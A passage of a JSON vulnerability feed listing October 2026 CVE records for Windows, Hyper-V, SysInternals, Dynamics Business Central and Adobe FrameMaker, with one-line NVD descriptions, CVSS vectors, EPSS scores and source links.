fixes.","publishedAt":"2026-10-13T19:18:03.830Z","updatedAt":"2026-10-13T23:17:29.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108134","asOf":"2026-10-13T23:17:29.580Z"},"epss":{"probability":0.00286,"percentile":0.20923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108134","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108134","type":"primary","publishedAt":"2026-10-13T19:18:03.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108133","cveId":"CVE-2026-108133","aliases":[],"kind":"vulnerability","title":"Release of invalid pointer or reference in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","summary":"Release of invalid pointer or reference in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.","detail":"Release of invalid pointer or reference in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:03.690Z","updatedAt":"2026-10-13T23:17:29.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108133","asOf":"2026-10-13T23:17:29.470Z"},"epss":{"probability":0.00361,"percentile":0.2968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108133","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108133","type":"primary","publishedAt":"2026-10-13T19:18:03.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108131","cveId":"CVE-2026-108131","aliases":[],"kind":"vulnerability","title":"No cwe for this issue in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","summary":"No cwe for this issue in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","detail":"No cwe for this issue in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:03.343Z","updatedAt":"2026-10-16T17:17:27.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108131","asOf":"2026-10-16T17:17:27.610Z"},"epss":{"probability":0.00865,"percentile":0.58391,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108131&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108131","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108131","type":"primary","publishedAt":"2026-10-13T19:18:03.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108131&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108131, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108130","cveId":"CVE-2026-108130","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:03.207Z","updatedAt":"2026-10-13T23:17:29.107Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108130","asOf":"2026-10-13T23:17:29.107Z"},"epss":{"probability":0.00376,"percentile":0.31326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108130&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108130","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108130","type":"primary","publishedAt":"2026-10-13T19:18:03.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108130&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108130, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106625","cveId":"CVE-2026-106625","aliases":[],"kind":"vulnerability","title":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:01.787Z","updatedAt":"2026-10-14T11:17:02.537Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-106625","asOf":"2026-10-14T11:17:02.537Z"},"epss":{"probability":0.00198,"percentile":0.09543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-106625&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-106625","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106625","type":"primary","publishedAt":"2026-10-13T19:18:01.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106625&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-106625, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105733","cveId":"CVE-2026-105733","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Hyper-V allows an authorized attacker to execute code locally.","summary":"Improper access control in Windows Hyper-V allows an authorized attacker to execute code locally.","detail":"Improper access control in Windows Hyper-V allows an authorized attacker to execute code locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:01.443Z","updatedAt":"2026-10-16T16:16:56.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105733","asOf":"2026-10-16T16:16:56.900Z"},"epss":{"probability":0.00376,"percentile":0.31326,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105733&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105733","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105733","type":"primary","publishedAt":"2026-10-13T19:18:01.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105733&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105733, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105732","cveId":"CVE-2026-105732","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in SysInternals allows an authorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in SysInternals allows an authorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in SysInternals allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:01.300Z","updatedAt":"2026-10-13T22:17:30.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105732","asOf":"2026-10-13T22:17:30.273Z"},"epss":{"probability":0.00463,"percentile":0.39871,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105732&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105732","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105732","type":"primary","publishedAt":"2026-10-13T19:18:01.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105732&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105732, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105729","cveId":"CVE-2026-105729","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:01.037Z","updatedAt":"2026-10-13T22:17:30.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105729","asOf":"2026-10-13T22:17:30.067Z"},"epss":{"probability":0.00362,"percentile":0.29696,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105729&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105729","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105729","type":"primary","publishedAt":"2026-10-13T19:18:01.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105729&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105729, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105728","cveId":"CVE-2026-105728","aliases":[],"kind":"vulnerability","title":"Improper authentication in Dynamics Business Central allows an unauthorized attacker to disclose information over a network.","summary":"Improper authentication in Dynamics Business Central allows an unauthorized attacker to disclose information over a network.","detail":"Improper authentication in Dynamics Business Central allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:00.900Z","updatedAt":"2026-10-13T23:17:28.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105728","asOf":"2026-10-13T23:17:28.230Z"},"epss":{"probability":0.00991,"percentile":0.62283,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105728&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105728","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105728","type":"primary","publishedAt":"2026-10-13T19:18:00.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105728&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105728, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105727","cveId":"CVE-2026-105727","aliases":[],"kind":"vulnerability","title":"Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.","summary":"Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.","detail":"Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:00.770Z","updatedAt":"2026-10-13T22:17:29.887Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105727","asOf":"2026-10-13T22:17:29.887Z"},"epss":{"probability":0.01039,"percentile":0.63738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105727&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105727","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105727","type":"primary","publishedAt":"2026-10-13T19:18:00.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105727&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105727, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105725","cveId":"CVE-2026-105725","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Security App allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Security App allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Security App allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:00.507Z","updatedAt":"2026-10-13T22:17:29.673Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105725","asOf":"2026-10-13T22:17:29.673Z"},"epss":{"probability":0.00286,"percentile":0.20924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105725&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105725","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105725","type":"primary","publishedAt":"2026-10-13T19:18:00.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105725&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105725, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105007","cveId":"CVE-2026-105007","aliases":[],"kind":"vulnerability","title":"An elevation of privilege vulnerability exists in the Network Driver Interface Specification (NDIS) when ndis.sys fails to check the length of a buffer prior to copying memory to...","summary":"An elevation of privilege vulnerability exists in the Network Driver Interface Specification (NDIS) when ndis.sys fails to check the length of a buffer prior to copying memory to it.\nTo exploit the vulnerability, in a local attack scenario, an attacker could run a specially crafted application to elevate the attacker's privilege level. An attacker who successfully exploited this vulnerability could run processes in an elevated context. However, an attacker must first gain access to the local system with the ability to execute a malicious application in order to exploit this vulnerability.\nThe security update addresses the vulnerability by changing how ndis.sys validates buffer length.","detail":"An elevation of privilege vulnerability exists in the Network Driver Interface Specification (NDIS) when ndis.sys fails to check the length of a buffer prior to copying memory to it.\nTo exploit the vulnerability, in a local attack scenario, an attacker could run a specially crafted application to elevate the attacker's privilege level. An attacker who successfully exploited this vulnerability could run processes in an elevated context. However, an attacker must first gain access to the local system with the ability to execute a malicious application in order to exploit this vulnerability.\nThe security update addresses the vulnerability by changing how ndis.sys validates buffer length.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:56.893Z","updatedAt":"2026-10-16T17:17:22.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105007","asOf":"2026-10-16T17:17:22.247Z"},"epss":{"probability":0.00869,"percentile":0.58503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105007&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105007","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105007","type":"primary","publishedAt":"2026-10-13T19:17:56.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105007&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105007, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105003","cveId":"CVE-2026-105003","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:56.157Z","updatedAt":"2026-10-16T17:17:21.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105003","asOf":"2026-10-16T17:17:21.597Z"},"epss":{"probability":0.00348,"percentile":0.28094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105003&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105003","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105003","type":"primary","publishedAt":"2026-10-13T19:17:56.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 